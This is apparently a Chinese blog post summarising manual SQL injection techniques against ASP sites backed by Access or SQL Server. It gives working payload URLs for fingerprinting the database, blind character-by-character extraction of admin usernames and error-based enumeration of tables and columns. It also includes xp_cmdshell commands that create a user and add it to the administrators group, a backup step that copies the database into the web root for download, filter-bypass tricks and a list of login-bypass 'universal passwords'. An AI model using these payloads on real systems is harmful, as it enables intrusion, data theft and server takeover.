• SQL注入经验总结


    通过连接数据库的引擎判断数据库类型:

    Access:Microsoft JET Database Engine

    SQLServer:Microsoft OLE DB Provider for SQL Server

    一点思路:

    每个动态页面每个参数都测一测

    相同动态页面相同参数不同值时可能不同(不知道什么情况,但确实发生了,有待验证。。)

    后台登陆时截断查看表单,试试能否绕过

    GET、POST没头绪时试试cookie,测试每个cookie的参数。用sqlmap cookie注入时,试试不带相对URI(裸域名)

    注意截包,分析包里的注入语句的变化

    可能存在编码问题,如果页面编码为GBK,可以试试补全,加个%ce

    判断注入点时单撇不行试试双撇

    如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错。

    有些程序员只过滤了单引号,所以只用单引号测试,是测不到注入点的,可以用下列语句测试:

    http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
    http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

    ASP一般搭配Access和SQLSever。

    SQLServer有一些系统变量,如果服务器IIS提示没关闭并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

    http://www.mytest.com/showdetail.asp?id=49 ;and user>0

    user是SQLServer的一个内置变量,它的值时当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错。

    如果是普通用户,SQLServer的出错提示是:将nvarchar值“bt”转换数据类型为int的列时发生语法错误;如果是sa用户,提示是:将“dbo”转换成int的列发生错误。

    在服务器IIS不允许返回错误提示时判断数据库类型:

    Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示”“没有权限“,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

    在确认可以注入的情况下,使用下面的语句:

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

    http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

    如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

    如果数据库是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同,第二个网址则视乎数据库设置是否允许读改系统表,一般来说是不允许的,所以与原网址也是完全不同。

    大多数情况下,用第一个URL就可以得知系统所用的数据库类型(第一个返回跟原页差不多则是SQLServer,反之则Access),第二个URL只作为开启IIS错误提示时的验证。

    根据注入参数类型,重构SQL语句的原貌,按参数类型主要分为下面三种:

    ID=49,这类注入的参数是数字型,SQL语句原貌大致如下:

    select * from 表名 where 字段=49

    注入的参数为ID=49 and [查询条件],即生成语句

    select * from 表名 where 字段=49 and [查询语句]

    class=连续剧,这类注入的参数是字符型:

    select * from 表名 where 字段='连续剧'

    注入的参数为Class=连续剧’ and [查询条件] and ‘‘=’,即生成语句

    select * from 表名where 字段=’连续剧’ and [查询条件] and ‘‘=’’

    搜索时没顾虑参数的,如keyword=关键字:

    select * from 表名 where 字段 like '%关键字%'

    注入的参数为keyword=' and [查询条件] and '%25'=',即生成语句:

    select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'

    手工猜表名、字段名、字段值:

    接着将查询条件替换成SQL语句,猜解表名,如:

    ID=49 and (select Count(*) from Admin)>=0

    如果页面就与ID=49的相同,说明条件成立,即表Admin存在,反之不存在。

    猜出表名再猜解字段名,如:

    ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0

    猜出字段名再猜解字段值,一种最常用的方法—Ascii逐字解码法,虽然很慢,但是肯定可行:

    假设:已知Admin中存在username字段

    首先,取第一条记录,测试username的长度

    ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0

    如果长度大于0,则条件成立。更换最后的数直到猜出第一条记录的username字段值的长度

    得到字段值的长度后,逐位猜解字段值

    ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

    第一位字符的ASCII码是否大于0,范围在1-128之间。

    SQL注入常用函数:

    Access:asc(字符)    SQLServer:unicode(字符)    作用:返回某字符的ASCII码

    Access:chr(数字)    SQLServer:nchar(数字)    作用:与asc相反,根据ASCII码返回字符

    Access:mid(字符串,N,L)    SQLServer:substring(字符串,N,L)    作用:返回字符串从N个字符起长度为L的自字符串,即N到N+L之间的字符串

    Access:abc(数字)    SQLServer:abc(数字)    作用:返回数字的绝对值(在猜解汉字的时候会用到)

    Access:A between B and C    SQLServer:A between B and C    作用:判断A是否界于B与C之间

    中文处理方法:

    Access:中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

    SQLServer:中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。

    利用系统表注入SQLServer数据库:

    http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--

    http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--

    这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

    http://Site/url.asp?id=1; and db_name()>0    返回连接的数据库名

    http://Site/url.asp?id=1; backup database 数据库名 to disk='c:inetpubwwwroot1.db';--

    拿到数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来。在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。

    http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0

    sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来,第二、三...个表名也可以通过这种方法暴出来。

    http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0

    拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名

    绕过程序限制继续注入:

    利用相关函数,达到绕过程序限制的目的。

    过滤'(单引号):

    如where xtype='U',字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用户',可以用where name=nchar(29992)+nchar(25143)代替。

    经验小结:

    1.过滤没区分大小写:用混大小写测试,如 seLecT

    2.由网站上的登录表单猜测字段名,一般为了方便起见,字段名都与表单的输入框取相同的名字。

    3.地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号

    4.用Get方法注入时,IIS会记录所有提交的字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

    5.猜解Access时只能用ASCII逐字解码法,SQLServer也可以用这种方法,只需要注意两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

    万能密码-绕过验证:

    1: "or "a"="a

    2: ')or('a'='a

    3:or 1=1--

    4:'or 1=1--

    5:a'or' 1=1--

    6: "or 1=1--

    7:'or'a'='a

    8: "or"="a'='a

    9:'or''='

    10:'or'='or'

    11: 1 or '1'='1'=1

    12: 1 or '1'='1' or 1=1

    13: 'OR 1=1%00

    14: "or 1=1%00

  • 相关阅读:
    functionnullvb6.0 求素数按奇偶显示
    问题判断那些年,我们遇到的傻逼问题
    下载输入python之小说下载器version2.0
    文件配置pro_git 第一章
    问题类像程序员一样思考
    修饰对象再谈const: 用const 修饰函数的返回值
    中国触发盲目推进城镇化极易触发金融危机
    树线段hdu 1754 I Hate It(线段树)
    监听事件Servlet监听器的那些事儿
    使用批处理build vs2005的工程
  • 原文地址:https://www.cnblogs.com/btlulu/p/3971692.html
Copyright © 2020-2023  润新知